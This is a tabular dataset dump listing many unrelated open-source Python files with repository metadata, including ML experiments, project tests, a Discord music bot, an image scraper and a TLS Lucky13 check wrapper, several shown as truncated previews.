from datarobot_drum.drum.common import (
LOG_LEVELS,
ArgumentsOptions,
RunLanguage,
TargetType,
ArgumentOptionsEnvVars,
)
class CMRunnerA... | 40.861083 | 175 | 0.600555 |
94662ee45ece09b53c05d98459182de6da3e028b | 1,422 | py | Python | getgraffitiphotos.py | ryubidragonfire/bristol-streetart | ff7b1cdccdbd579e646ccc3e7dde0236775ed1b1 | [
"MIT"
] | null | null | null | getgraffitiphotos.py | ryubidragonfire/bristol-streetart | ff7b1cdccdbd579e646ccc3e7dde0236775ed1b1 | [
"MIT"
] | null | null | null | getgraffitiphotos.py | ryubidragonfire/bristol-streetart | ff7b1cdccdbd579e646ccc3e7dde0236775ed1b1 | [
"MIT"
] | null | null | null | # -*- coding: utf-8 -*-
"""
Created on Sat Oct 8 13:05:03 2016
@author: chyam
"""
import flickr_api
from flickr_api.api import flickr
import json
def main():
# credentials to access flickr api
initialise()
photos_xml = flickr.photos.search(tags='street art', lat=51.452705, lon=-2.595146, r... | 26.333333 | 139 | 0.59775 |
2f1b86c72b0c75942e925713888a1e8e6452a2f6 | 3,946 | py | Python | setup.py | lidar-nevermore/hyp3-lib | bfb2487b6cbc0029eb689bc059890e71b7f60d3c | [
"BSD-3-Clause"
] | null | null | null | setup.py | lidar-nevermore/hyp3-lib | bfb2487b6cbc0029eb689bc059890e71b7f60d3c | [
"BSD-3-Clause"
] | null | null | null | setup.py | lidar-nevermore/hyp3-lib | bfb2487b6cbc0029eb689bc059890e71b7f60d3c | [
"BSD-3-Clause"
] | null | null | null | from pathlib import Path
from setuptools import find_packages, setup
readme = Path(__file__).parent / 'README.md'
setup(
name='hyp3lib',
use_scm_version=True,
description='Common library for HyP3 plugins',
long_description=readme.read_text(),
long_description_content_type='text/markdown',
ur... | 33.726496 | 94 | 0.618094 |
0c05845a6e8eebf83715ab103db202126d61bd89 | 36,827 | py | Python | google_images_download/google_images_download.py | vflanker/google-images-crawler | f6981497cce945fca116dab43a9e632f2cbe95d3 | [
"MIT"
] | null | null | null | google_images_download/google_images_download.py | vflanker/google-images-crawler | f6981497cce945fca116dab43a9e632f2cbe95d3 | [
"MIT"
] | null | null | null | google_images_download/google_images_download.py | vflanker/google-images-crawler | f6981497cce945fca116dab43a9e632f2cbe95d3 | [
"MIT"
] | null | null | null | # In[ ]:
# coding: utf-8
###### Searching and Downloading Google Images to the local disk ######
# Import Libraries
import sys
version = (3, 0)
cur_version = sys.version_info
if cur_version >= version: # If the Current Version of Python is 3.0 or above
import urllib.request
from urllib.request import Reques... | 46.913376 | 618 | 0.609933 |
3fc9b898972a10ccf2545d6d079a01b7b53465d3 | 2,971 | py | Python | experiments/mtl_bodypart_tasks/start/half_cheetah_pgftw.py | optimass/LPG-FTW | fd79b96b67e32735916413e822938188b0bb7948 | [
"Apache-2.0"
] | 8 | 2021-03-21T18:01:28.000Z | 2022-02-20T13:58:16.000Z | experiments/mtl_bodypart_tasks/start/half_cheetah_pgftw.py | optimass/LPG-FTW | fd79b96b67e32735916413e822938188b0bb7948 | [
"Apache-2.0"
] | 1 | 2021-09-22T13:44:40.000Z | 2021-09-22T13:44:40.000Z | experiments/mtl_bodypart_tasks/start/half_cheetah_pgftw.py | optimass/LPG-FTW | fd79b96b67e32735916413e822938188b0bb7948 | [
"Apache-2.0"
] | 2 | 2021-05-18T22:08:44.000Z | 2021-08-16T19:38:11.000Z | '''
Measure performance after updating L at the end
of training each task
'''
from mjrl.utils.gym_env import GymEnv
from mjrl.policies.gaussian_linear_lpg_ftw import LinearPolicyLPGFTW
from mjrl.algos.npg_cg_ftw import NPGFTW
import numpy as np
import gym
import pickle
import torch
import os
SEED = 50 # initial valu... | 33.382022 | 141 | 0.653989 |
27857da825a18fa2797511cd7c3220edb153aa8c | 41 | py | Python | problem/01000~09999/03046/3046.py3.py | njw1204/BOJ-AC | 1de41685725ae4657a7ff94e413febd97a888567 | [
"MIT"
] | 1 | 2019-04-19T16:37:44.000Z | 2019-04-19T16:37:44.000Z | problem/01000~09999/03046/3046.py3.py | njw1204/BOJ-AC | 1de41685725ae4657a7ff94e413febd97a888567 | [
"MIT"
] | 1 | 2019-04-20T11:42:44.000Z | 2019-04-20T11:42:44.000Z | problem/01000~09999/03046/3046.py3.py | njw1204/BOJ-AC | 1de41685725ae4657a7ff94e413febd97a888567 | [
"MIT"
] | 3 | 2019-04-19T16:37:47.000Z | 2021-10-25T00:45:00.000Z | a,b=map(int,input().split())
print(2*b-a) | 20.5 | 28 | 0.634146 |
d7d6fe6af5689b98a626240d46c9e88f878d1bca | 15,056 | py | Python | project3-mlops/Labs/05-Lab.py | Shemkent/dscc202-402-spring2022 | 446c0709f2c298169223abfb5c8e7f4374d53484 | [
"MIT"
] | null | null | null | project3-mlops/Labs/05-Lab.py | Shemkent/dscc202-402-spring2022 | 446c0709f2c298169223abfb5c8e7f4374d53484 | [
"MIT"
] | null | null | null | project3-mlops/Labs/05-Lab.py | Shemkent/dscc202-402-spring2022 | 446c0709f2c298169223abfb5c8e7f4374d53484 | [
"MIT"
] | null | null | null | # Databricks notebook source
# MAGIC %md
# MAGIC # Lab: Adding Pre and Post-Processing Logic
# MAGIC
# MAGIC ##  In this lab you:<br>
# MAGIC - Import data and train a random forest model
# MAGIC - Defining pre-processing steps
#... | 41.706371 | 600 | 0.733794 |
c926a35a08af267609a89ca5ca52f05d5085239e | 4,878 | py | Python | Assignments/HW2-PruningProblems-Yan Gu/PruningProblems/question3b.py | billgoo/Rutgers-CS536-Machine-Learning | 944efbc6ee5ccd2d226e420ed61528767023aab7 | [
"MIT"
] | null | null | null | Assignments/HW2-PruningProblems-Yan Gu/PruningProblems/question3b.py | billgoo/Rutgers-CS536-Machine-Learning | 944efbc6ee5ccd2d226e420ed61528767023aab7 | [
"MIT"
] | null | null | null | Assignments/HW2-PruningProblems-Yan Gu/PruningProblems/question3b.py | billgoo/Rutgers-CS536-Machine-Learning | 944efbc6ee5ccd2d226e420ed61528767023aab7 | [
"MIT"
] | null | null | null | import pandas as pd
import numpy as np
import math
import csv
import random
import matplotlib.pyplot as plt
from pprint import pprint
from decision_tree_classifier import DecisionTreeClassifier
from decision_tree_plotter import plotter
from collections import Counter
def show_Picture(x_data, y_data_1, y_data_2, y_dat... | 45.166667 | 126 | 0.602091 |
63a8171fabe11b379423fe8d8b76f169912f6797 | 3,156 | py | Python | endpoints/search/endpoint.py | Ragnar-Oock/setlist_v2_connexion | 760c7bfca83467f118778ad7bd3dd9cc78cf5007 | [
"MIT"
] | null | null | null | endpoints/search/endpoint.py | Ragnar-Oock/setlist_v2_connexion | 760c7bfca83467f118778ad7bd3dd9cc78cf5007 | [
"MIT"
] | null | null | null | endpoints/search/endpoint.py | Ragnar-Oock/setlist_v2_connexion | 760c7bfca83467f118778ad7bd3dd9cc78cf5007 | [
"MIT"
] | null | null | null | from pony import orm
from models import Song
from utils.db import format_order_by
from datetime import timedelta, datetime
from decimal import Decimal
def get(limit, padding, orderby: list, search=None, lastInterpretation=None,
interpretationNumber=None, score=None, showlights=None, vocals=None, odlc=None, ar... | 40.461538 | 111 | 0.665716 |
a7d53e8f0bd268a58c444424cf754b055db7ea6e | 1,171 | py | Python | test/test_utils.py | diehlpk/findiff | 7ec4cd83a461b30a6fca87494c135977cf54b1d3 | [
"MIT"
] | null | null | null | test/test_utils.py | diehlpk/findiff | 7ec4cd83a461b30a6fca87494c135977cf54b1d3 | [
"MIT"
] | null | null | null | test/test_utils.py | diehlpk/findiff | 7ec4cd83a461b30a6fca87494c135977cf54b1d3 | [
"MIT"
] | null | null | null | import sys
sys.path.insert(1, '..')
import unittest
import numpy as np
from numpy.testing import assert_array_almost_equal, assert_array_equal
from findiff.utils import *
class TestUtils(unittest.TestCase):
def test_all_index_tuples_for_shape(self):
shape = 2, 3
expected = []
for ix in ... | 25.456522 | 71 | 0.631085 |
d4c4befbf5ed06144dbf6b548cb9a73986587686 | 68,750 | py | Python | tests/atomistics/structure/test_atoms.py | ibrsam/pyiron | 14ffbc2bba6e13738e2d995cbe3f900df3946b1f | [
"BSD-3-Clause"
] | null | null | null | tests/atomistics/structure/test_atoms.py | ibrsam/pyiron | 14ffbc2bba6e13738e2d995cbe3f900df3946b1f | [
"BSD-3-Clause"
] | 1 | 2021-11-02T09:22:56.000Z | 2021-11-02T09:22:56.000Z | tests/atomistics/structure/test_atoms.py | ibrsam/pyiron | 14ffbc2bba6e13738e2d995cbe3f900df3946b1f | [
"BSD-3-Clause"
] | 1 | 2021-11-02T08:35:47.000Z | 2021-11-02T08:35:47.000Z | # coding: utf-8
# Copyright (c) Max-Planck-Institut für Eisenforschung GmbH - Computational Materials Design (CM) Department
# Distributed under the terms of "New BSD License", see the LICENSE file.
import unittest
import numpy as np
import os
import warnings
from pyiron.atomistics.structure.atom import Atom
from pyir... | 45.289855 | 119 | 0.602822 |
45ffb9629bab3fe646b41127ac7dd133c3abc177 | 2,101 | py | Python | pycket/prims/parameter.py | krono/pycket | 5eff3401ce5cf34b16863b669ac9e274edabbe00 | [
"MIT"
] | null | null | null | pycket/prims/parameter.py | krono/pycket | 5eff3401ce5cf34b16863b669ac9e274edabbe00 | [
"MIT"
] | null | null | null | pycket/prims/parameter.py | krono/pycket | 5eff3401ce5cf34b16863b669ac9e274edabbe00 | [
"MIT"
] | null | null | null |
from pycket import values
from pycket import values_parameter
from pycket.base import W_Object
from pycket.error import SchemeException
from pycket.prims.expose import expose, expose_val, default, procedure
@expose("make-parameter",
[values.W_Object, default(values.W_O... | 42.02 | 94 | 0.750595 |
10b57a42f6656b3d0d27d772027c6b280a0ede19 | 18,603 | py | Python | benchmarks/f3_wrong_hints/scaling_ltl_timed_transition_system/15-sender_receiver_39.py | EnricoMagnago/F3 | c863215c318d7d5f258eb9be38c6962cf6863b52 | [
"MIT"
] | 3 | 2021-04-23T23:29:26.000Z | 2022-03-23T10:00:30.000Z | benchmarks/f3_wrong_hints/scaling_ltl_timed_transition_system/15-sender_receiver_39.py | EnricoMagnago/F3 | c863215c318d7d5f258eb9be38c6962cf6863b52 | [
"MIT"
] | null | null | null | benchmarks/f3_wrong_hints/scaling_ltl_timed_transition_system/15-sender_receiver_39.py | EnricoMagnago/F3 | c863215c318d7d5f258eb9be38c6962cf6863b52 | [
"MIT"
] | 1 | 2021-11-17T22:02:56.000Z | 2021-11-17T22:02:56.000Z | from typing import FrozenSet
from collections import Iterable
from math import log, ceil
from mathsat import msat_term, msat_env
from mathsat import msat_make_constant, msat_declare_function
from mathsat import msat_get_integer_type, msat_get_rational_type, msat_get_bool_type
from mathsat import msat_make_and, msa... | 38.277778 | 89 | 0.576627 |
dd9a967b300e22b668f2ceb25f30a107110059fa | 2,735 | py | Python | localgraphclustering/cpp/MQI_cpp.py | vishalbelsare/LocalGraphClustering | a6325350997932d548a876deb259c2387fc2c809 | [
"MIT"
] | 106 | 2017-09-06T04:47:02.000Z | 2022-03-30T07:43:27.000Z | localgraphclustering/cpp/MQI_cpp.py | pmacg/local-bipartite-clusters | d29e8d37c79e27b48e785b7b2c4bad9ea5d66b6d | [
"MIT"
] | 51 | 2017-09-06T02:22:09.000Z | 2021-12-15T11:39:28.000Z | localgraphclustering/cpp/MQI_cpp.py | vishalbelsare/LocalGraphClustering | a6325350997932d548a876deb259c2387fc2c809 | [
"MIT"
] | 38 | 2017-09-04T21:45:13.000Z | 2022-01-19T09:48:25.000Z | # A python wrapper for MQI
# ai,aj - graph in CSR
# n - number of nodes in the graph
# R - seed set
# nR - number of nodes in seed set
# actual_length - number of nodes in the optimal subset
# ret_set - optimal subset with the smallest conductance
from operator import itemgetter
import numpy as np
from numpy.ctypeslib... | 33.353659 | 98 | 0.684826 |
91a2481625a634c933cabb5f09c844aa355b33bc | 4,226 | py | Python | tests/test_cmdline.py | welly87/zipline | dbdfa8ed86417f954e95bd7468e144589f2cd482 | [
"Apache-2.0"
] | 38 | 2019-08-15T18:11:21.000Z | 2021-09-25T17:17:31.000Z | tests/test_cmdline.py | welly87/zipline | dbdfa8ed86417f954e95bd7468e144589f2cd482 | [
"Apache-2.0"
] | 4 | 2018-11-02T07:31:31.000Z | 2018-11-05T09:08:17.000Z | tests/test_cmdline.py | welly87/zipline | dbdfa8ed86417f954e95bd7468e144589f2cd482 | [
"Apache-2.0"
] | 15 | 2019-08-14T00:14:17.000Z | 2022-01-20T03:15:25.000Z | import zipline.__main__ as main
import zipline
from zipline.testing import ZiplineTestCase
from zipline.testing.predicates import (
assert_equal,
assert_raises_str,
)
from click.testing import CliRunner
from zipline.extensions import (
Namespace,
create_args,
parse_extension_arg,
)
class CmdLineTe... | 30.402878 | 73 | 0.539991 |
7862a171b1e3b1fecc3a7ec0fe5c12d7ae659c0a | 720 | py | Python | modules/server/lucky13.py | turbostar190/tlsassistant | a3f2032cf2d1ab407c210af7069b1faef3b0a928 | [
"Apache-2.0"
] | 18 | 2019-06-13T09:19:07.000Z | 2022-03-11T07:24:50.000Z | modules/server/lucky13.py | turbostar190/tlsassistant | a3f2032cf2d1ab407c210af7069b1faef3b0a928 | [
"Apache-2.0"
] | 2 | 2019-07-25T07:10:43.000Z | 2021-07-28T12:34:38.000Z | modules/server/lucky13.py | turbostar190/tlsassistant | a3f2032cf2d1ab407c210af7069b1faef3b0a928 | [
"Apache-2.0"
] | 10 | 2019-06-21T09:29:06.000Z | 2022-03-18T07:45:52.000Z | from modules.server.testssl_base import Testssl_base
from modules.stix.stix_base import Bundled
from utils.mitigations import load_mitigation
class Lucky13(Testssl_base):
"""
Analysis of the lucky13 testssl results
"""
stix = Bundled(mitigation_object=load_mitigation("LUCKY13"))
# to override
... | 24 | 64 | 0.640278 |
a007827a7ad67827fcd1d1cc88bcc1bd2dbfddd1 | 16,033 | py | Python | qmap/manager.py | bbglab/qmap | c73c355b73995a839fc1923a3f57d3a933721bfd | [
"Apache-2.0"
] | null | null | null | qmap/manager.py | bbglab/qmap | c73c355b73995a839fc1923a3f57d3a933721bfd | [
"Apache-2.0"
] | null | null | null | qmap/manager.py | bbglab/qmap | c73c355b73995a839fc1923a3f57d3a933721bfd | [
"Apache-2.0"
] | null | null | null | """
This module contains the manager for the execution of the jobs.
The manager is in charge of providing an interface that
is used to manage the jobs and interact with them.
An execution is a set of jobs that are lunched together.
The manager should be able to handle several jobs together
(e.g. cancelling multiple jo... | 37.992891 | 151 | 0.617476 |
1844cce18cc5af0272da44a6773a538ea98b2217 | 3,169 | py | Python | music_cog.py | IzzatCORP/IzzatYellowMusic | 7f7dbf3ed0fe6de003a9f53df992192cb9b29438 | [
"MIT"
] | null | null | null | music_cog.py | IzzatCORP/IzzatYellowMusic | 7f7dbf3ed0fe6de003a9f53df992192cb9b29438 | [
"MIT"
] | null | null | null | music_cog.py | IzzatCORP/IzzatYellowMusic | 7f7dbf3ed0fe6de003a9f53df992192cb9b29438 | [
"MIT"
] | null | null | null | import nextcord
from nextcord.ext import commands
from youtube_dl import YoutubeDL
class music_cog(commands.Cog):
def __init__(self, bot):
self.bot = bot
self.is_playing = False
self.music_queue = []
self.YDL_OPTIONS = {'format': 'bestaudio', 'noplaylist':'Tru... | 29.342593 | 149 | 0.547491 |
0e768228677cc5960634748c37cbdd15b69712e8 | 295 | py | Python | RecoTauTag/HLTProducers/python/TauDQM_cfi.py | ckamtsikis/cmssw | ea19fe642bb7537cbf58451dcf73aa5fd1b66250 | [
"Apache-2.0"
] | 852 | 2015-01-11T21:03:51.000Z | 2022-03-25T21:14:00.000Z | RecoTauTag/HLTProducers/python/TauDQM_cfi.py | ckamtsikis/cmssw | ea19fe642bb7537cbf58451dcf73aa5fd1b66250 | [
"Apache-2.0"
] | 30,371 | 2015-01-02T00:14:40.000Z | 2022-03-31T23:26:05.000Z | RecoTauTag/HLTProducers/python/TauDQM_cfi.py | ckamtsikis/cmssw | ea19fe642bb7537cbf58451dcf73aa5fd1b66250 | [
"Apache-2.0"
] | 3,240 | 2015-01-02T05:53:18.000Z | 2022-03-31T17:24:21.000Z | import FWCore.ParameterSet.Config as cms
TauDQM = cms.EDProducer("DQMTauProducer",
TrackIsoJets = cms.InputTag("hltL25TauConeIsolation"),
SignalCone = cms.double(0.15),
MatchingCone = cms.double(0.2),
IsolationCone = cms.double(0.5),
MinPtTracks = cms.double(1.)
)
| 29.5 | 58 | 0.688136 |
bfa278bb59d1549e6ccf357b506f6805ce53f6f9 | 381 | py | Python | edge/store_voltage.py | dannil10/dogger | 7e4570f1aa7d5393a9ae182498573d03fe1b61e9 | [
"MIT"
] | null | null | null | edge/store_voltage.py | dannil10/dogger | 7e4570f1aa7d5393a9ae182498573d03fe1b61e9 | [
"MIT"
] | null | null | null | edge/store_voltage.py | dannil10/dogger | 7e4570f1aa7d5393a9ae182498573d03fe1b61e9 | [
"MIT"
] | null | null | null | import gateway.queue
numpy_sql = gateway.queue.NumpyFile(
channels = {1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32},
start_delay = 0,
file_path = '/home/heta/Z/data/files/voltage/',
files_to_keep = 0,
config_filepath = '/home/heta/Z/app/python/dogg... | 29.307692 | 105 | 0.64042 |
6185266ecebd460d6d802beff43d35f3182979e4 | 3,021 | py | Python | ramps.py | Stomach-ache/MixPUL | 96ecbbdcae4fbfc57e77fdaf62b197e6b81657c0 | [
"MIT"
] | 4 | 2019-09-17T08:48:09.000Z | 2022-03-19T01:57:29.000Z | ramps.py | Stomach-ache/MixPUL | 96ecbbdcae4fbfc57e77fdaf62b197e6b81657c0 | [
"MIT"
] | 1 | 2019-09-17T08:48:55.000Z | 2019-09-17T08:48:55.000Z | ramps.py | Stomach-ache/MixPUL | 96ecbbdcae4fbfc57e77fdaf62b197e6b81657c0 | [
"MIT"
] | null | null | null | # Copyright (c) 2018, Curious AI Ltd. All rights reserved.
#
# This work is licensed under the Creative Commons Attribution-NonCommercial
# 4.0 International License. To view a copy of this license, visit
# http://creativecommons.org/licenses/by-nc/4.0/ or send a letter to
# Creative Commons, PO Box 1866, Mountain View... | 30.21 | 90 | 0.626945 |
c183af7ffeb6468accd5c7a53c5d78328bade4a7 | 1,711 | py | Python | generator/models/discriminator.py | universuen/pokemon_GAN | ac983270820cf55a3eeb74a0d0edd258e715d00b | [
"MIT"
] | 1 | 2021-06-10T11:26:57.000Z | 2021-06-10T11:26:57.000Z | generator/models/discriminator.py | universuen/pokemon_WGAN | ac983270820cf55a3eeb74a0d0edd258e715d00b | [
"MIT"
] | null | null | null | generator/models/discriminator.py | universuen/pokemon_WGAN | ac983270820cf55a3eeb74a0d0edd258e715d00b | [
"MIT"
] | null | null | null | import torch
from torch import nn
def init_weights(layer: nn.Module):
layer_name = layer.__class__.__name__
if 'Conv' in layer_name:
nn.init.normal_(layer.weight.data, 0.0, 0.02)
elif layer_name == 'Linear':
nn.init.normal_(layer.weight.data, 0.0, 0.02)
elif 'Norm' in layer_name:
... | 32.283019 | 54 | 0.511981 |
ff38e8fb7637cbef5c48a94bf71693f0658abb3d | 8,469 | py | Python | tests/helpers/test_restore_state.py | zalke/home-assistant | a31e49c857722c0723dc5297cd83cbce0f8716f6 | [
"Apache-2.0"
] | 4 | 2019-07-03T22:36:57.000Z | 2019-08-10T15:33:25.000Z | tests/helpers/test_restore_state.py | zalke/home-assistant | a31e49c857722c0723dc5297cd83cbce0f8716f6 | [
"Apache-2.0"
] | 7 | 2019-08-23T05:26:02.000Z | 2022-03-11T23:57:18.000Z | tests/helpers/test_restore_state.py | zalke/home-assistant | a31e49c857722c0723dc5297cd83cbce0f8716f6 | [
"Apache-2.0"
] | null | null | null | """The tests for the Restore component."""
from datetime import datetime
from homeassistant.const import EVENT_HOMEASSISTANT_START
from homeassistant.core import CoreState, State
from homeassistant.exceptions import HomeAssistantError
from homeassistant.helpers.entity import Entity
from homeassistant.helpers.restore_s... | 33.474308 | 79 | 0.659818 |
9d2e479a96dff389d20be201f351ce832d5bf928 | 4,619 | py | Python | tests/auto/trace.py | Srinivas11789/manticore | af3c6aada811833864efaccef7477f14e9b5e0dd | [
"Apache-2.0"
] | null | null | null | tests/auto/trace.py | Srinivas11789/manticore | af3c6aada811833864efaccef7477f14e9b5e0dd | [
"Apache-2.0"
] | null | null | null | tests/auto/trace.py | Srinivas11789/manticore | af3c6aada811833864efaccef7477f14e9b5e0dd | [
"Apache-2.0"
] | null | null | null | from __future__ import print_function
import copy
import sys
import sys
import time
import subprocess
from distorm3 import Decompose, Decode16Bits, Decode32Bits, Decode64Bits, Mnemonics, Registers
count = 0
class Gdb(subprocess.Popen):
def __init__(self, prg, prompt='(gdb) '):
"""Construct interactive Po... | 35.259542 | 215 | 0.556181 |
5fe0a022a25836ade1244d2c385140177caf85f1 | 41,817 | py | Python | roadscene2vec/data/gen/PythonAPI/examples/manual_control_rss.py | AICPS/roadscene2vec | aea84d3aa0e339a58fd92bbee3140df9fa4abde8 | [
"MIT"
] | 8 | 2021-09-03T01:02:48.000Z | 2022-03-15T09:14:31.000Z | roadscene2vec/data/gen/PythonAPI/examples/manual_control_rss.py | waterbearbee/roadscene2vec | aea84d3aa0e339a58fd92bbee3140df9fa4abde8 | [
"MIT"
] | 4 | 2021-09-02T22:23:25.000Z | 2022-02-22T06:39:56.000Z | roadscene2vec/data/gen/PythonAPI/examples/manual_control_rss.py | waterbearbee/roadscene2vec | aea84d3aa0e339a58fd92bbee3140df9fa4abde8 | [
"MIT"
] | 3 | 2022-01-23T09:05:48.000Z | 2022-03-31T21:04:28.000Z | #!/usr/bin/env python
# Copyright (c) 2019 Computer Vision Center (CVC) at the Universitat Autonoma de
# Barcelona (UAB).
# Copyright (c) 2019 Intel Corporation
#
# This work is licensed under the terms of the MIT license.
# For a copy, see <https://opensource.org/licenses/MIT>.
# Allows controlling a vehicle with a ... | 43.065911 | 163 | 0.542889 |
4996974e2242e4f9fa2bfeeabce967cc8eb8af94 | 645 | py | Python | python/prime.py | futursolo/Swift-Speed-Test | f64999ae3cc4c13eca50fb2e425bb582c82f2afb | [
"MIT"
] | 4 | 2015-06-22T16:15:14.000Z | 2016-02-02T06:27:01.000Z | python/prime.py | futursolo/Swift-Speed-Test | f64999ae3cc4c13eca50fb2e425bb582c82f2afb | [
"MIT"
] | null | null | null | python/prime.py | futursolo/Swift-Speed-Test | f64999ae3cc4c13eca50fb2e425bb582c82f2afb | [
"MIT"
] | null | null | null | from __future__ import print_function
import math
import time
max_num = 1000000
start_time = time.time()
print("Python Prime Number Calculator, max_num = %d." % max_num)
num_list = []
max_value = 0
for i in range(0, max_num):
num_list.append(1)
for i in range(2, int(math.sqrt(max_num)) + 1):
if num_list[... | 20.15625 | 95 | 0.629457 |
deb2cb5a67fb374ff99c3004a5eed4924c44bbda | 87 | py | Python | copulae/mixtures/gmc/__init__.py | CrisDS81/copulae | 2a312c2b849f95cfb2b40b381d34bc790d9d80c5 | [
"MIT"
] | 100 | 2019-01-30T19:52:04.000Z | 2022-03-18T10:00:17.000Z | copulae/mixtures/gmc/__init__.py | CrisDS81/copulae | 2a312c2b849f95cfb2b40b381d34bc790d9d80c5 | [
"MIT"
] | 30 | 2019-07-14T00:30:03.000Z | 2021-08-24T08:59:14.000Z | copulae/mixtures/gmc/__init__.py | CrisDS81/copulae | 2a312c2b849f95cfb2b40b381d34bc790d9d80c5 | [
"MIT"
] | 25 | 2019-03-10T21:12:55.000Z | 2021-11-09T11:54:16.000Z | from .parameter import GMCParam
from .gmc import EstimateMethod, GaussianMixtureCopula
| 29 | 54 | 0.862069 |
2010827477fad00a4a9d8f3841df4d4a236da580 | 11,064 | py | Python | utils/transformations/word_level/word_masked_lm_merge.py | sharinka0715/AISafety | 1e210dd448a01069aeaba9fa637b68505ad43332 | [
"MIT"
] | null | null | null | utils/transformations/word_level/word_masked_lm_merge.py | sharinka0715/AISafety | 1e210dd448a01069aeaba9fa637b68505ad43332 | [
"MIT"
] | null | null | null | utils/transformations/word_level/word_masked_lm_merge.py | sharinka0715/AISafety | 1e210dd448a01069aeaba9fa637b68505ad43332 | [
"MIT"
] | null | null | null | # !/usr/bin/env python
# coding=UTF-8
"""
@Author: WEN Hao
@LastEditors: WEN Hao
@Description:
@Date: 2021-09-08
@LastEditTime: 2021-11-10
Word Merge by BERT-Masked LM.
"""
import os
from typing import Any, List, NoReturn, Sequence, Optional, Union
import torch
from transformers import AutoModelForMaskedLM, AutoToke... | 36.635762 | 117 | 0.594179 |
f751465d345a5f6160d76c9bcda84e467b54713a | 6,322 | py | Python | finsky/protos/preloads_pb2.py | mmcloughlin/finsky | f21ccdbebf86e55a542c658b6972cb1f3fb5f119 | [
"MIT"
] | 59 | 2015-07-11T18:53:59.000Z | 2021-09-08T03:16:17.000Z | finsky/protos/preloads_pb2.py | mmcloughlin/finsky | f21ccdbebf86e55a542c658b6972cb1f3fb5f119 | [
"MIT"
] | 10 | 2015-07-01T08:09:29.000Z | 2021-12-06T01:23:00.000Z | finsky/protos/preloads_pb2.py | mmcloughlin/finsky | f21ccdbebf86e55a542c658b6972cb1f3fb5f119 | [
"MIT"
] | 14 | 2015-08-15T22:04:02.000Z | 2021-03-03T09:14:39.000Z | # Generated by the protocol buffer compiler. DO NOT EDIT!
# source: preloads.proto
import sys
_b=sys.version_info[0]<3 and (lambda x:x) or (lambda x:x.encode('latin1'))
from google.protobuf import descriptor as _descriptor
from google.protobuf import message as _message
from google.protobuf import reflection as _refl... | 38.084337 | 620 | 0.744543 |
a53ce7be6195464150bdfe487b473ae69a89da71 | 4,940 | py | Python | gitlab-ci/src/artifacts/collector.py | contropist/ic | 9240bea7dc0239fcbc5d43ad11f3ca803ee9bb11 | [
"Apache-2.0"
] | null | null | null | gitlab-ci/src/artifacts/collector.py | contropist/ic | 9240bea7dc0239fcbc5d43ad11f3ca803ee9bb11 | [
"Apache-2.0"
] | 4 | 2021-12-22T22:34:51.000Z | 2022-03-31T07:34:19.000Z | gitlab-ci/src/artifacts/collector.py | contropist/ic | 9240bea7dc0239fcbc5d43ad11f3ca803ee9bb11 | [
"Apache-2.0"
] | null | null | null | import logging
import multiprocessing
import os
import shutil
import tempfile
from os import path
from typing import List
from ci import cwd
from ci import ENV
from ci import log_section
from ci import mkdir_p
from ci import sh
def local(v: str) -> str:
return path.join(ENV.top, "gitlab-ci/src/artifacts", v)
R... | 29.580838 | 192 | 0.582996 |
e2bfae6a42130b5e6e21aa1cdd6d320cb6f9251b | 15,006 | py | Python | handlers/all.py | hidarr/GANA | 36840fbf539a51bf68cd42f4d8b74524df6d97fa | [
"MIT"
] | null | null | null | handlers/all.py | hidarr/GANA | 36840fbf539a51bf68cd42f4d8b74524df6d97fa | [
"MIT"
] | null | null | null | handlers/all.py | hidarr/GANA | 36840fbf539a51bf68cd42f4d8b74524df6d97fa | [
"MIT"
] | null | null | null | from utlis.rank import setrank,isrank,remrank,remsudos,setsudo, GPranks,IDrank
from utlis.send import send_msg, BYusers, GetLink,Name,Glang,getAge
from utlis.locks import st,getOR
from utlis.tg import Bot
from config import *
from pyrogram.types import ReplyKeyboardMarkup, InlineKeyboardMarkup, InlineKeyboardButton
im... | 59.312253 | 296 | 0.653672 |
a2f09d8d3eee23a4b0bf042eb380c201b6d993fd | 443 | py | Python | Solutions/Problem_069.py | PraneethJain/Project-Euler | 54fe34da444803ea55c49e4a4cda3ad6d4bca3b8 | [
"MIT"
] | 2 | 2022-03-11T21:31:52.000Z | 2022-03-11T21:37:14.000Z | Solutions/Problem_069.py | PraneethJain/Project-Euler-100 | 54fe34da444803ea55c49e4a4cda3ad6d4bca3b8 | [
"MIT"
] | null | null | null | Solutions/Problem_069.py | PraneethJain/Project-Euler-100 | 54fe34da444803ea55c49e4a4cda3ad6d4bca3b8 | [
"MIT"
] | 1 | 2022-03-07T12:55:36.000Z | 2022-03-07T12:55:36.000Z | from time import time
from prime import primelist
t1 = time()
prime_list = primelist(20)
product = 1
i = 0
while product * prime_list[i] < 10**6:
product *= prime_list[i]
i += 1
print(product)
print(f"Process completed in {time()-t1}s")
# from sympy import totient as phi
# high=0
# ans=0
# for i in range(10**... | 18.458333 | 43 | 0.620767 |
f87d9e1590aa30b5506c946b6ef63b07c55a4d29 | 3,267 | py | Python | run.py | pflee1989/kickstarter_dash | e3909b15b827b8da4e8b96210d7b8b733a809045 | [
"MIT"
] | null | null | null | run.py | pflee1989/kickstarter_dash | e3909b15b827b8da4e8b96210d7b8b733a809045 | [
"MIT"
] | null | null | null | run.py | pflee1989/kickstarter_dash | e3909b15b827b8da4e8b96210d7b8b733a809045 | [
"MIT"
] | null | null | null | # Imports from 3rd party libraries
# from joblib import load
# pipeline = load('assets/pipeline_joblib')
import dash
import dash_bootstrap_components as dbc
import dash_core_components as dcc
import dash_html_components as html
from dash.dependencies import Input, Output
# Imports from this application
from app impor... | 37.988372 | 190 | 0.654729 |
aee901c9c24ec698b8a8917370a77e88df07e83c | 823 | py | Python | checkov/common/checks_infra/solvers/complex_solvers/or_solver.py | peaudecastor/checkov | a4804b61c1b1390b7abd44ab53285fcbc3e7e80b | [
"Apache-2.0"
] | null | null | null | checkov/common/checks_infra/solvers/complex_solvers/or_solver.py | peaudecastor/checkov | a4804b61c1b1390b7abd44ab53285fcbc3e7e80b | [
"Apache-2.0"
] | null | null | null | checkov/common/checks_infra/solvers/complex_solvers/or_solver.py | peaudecastor/checkov | a4804b61c1b1390b7abd44ab53285fcbc3e7e80b | [
"Apache-2.0"
] | null | null | null | from typing import List, Any, Dict
from checkov.common.graph.checks_infra.enums import Operators
from checkov.common.graph.checks_infra.solvers.base_solver import BaseSolver
from checkov.common.checks_infra.solvers.complex_solvers.base_complex_solver import BaseComplexSolver
from functools import reduce
from operator ... | 34.291667 | 101 | 0.730255 |
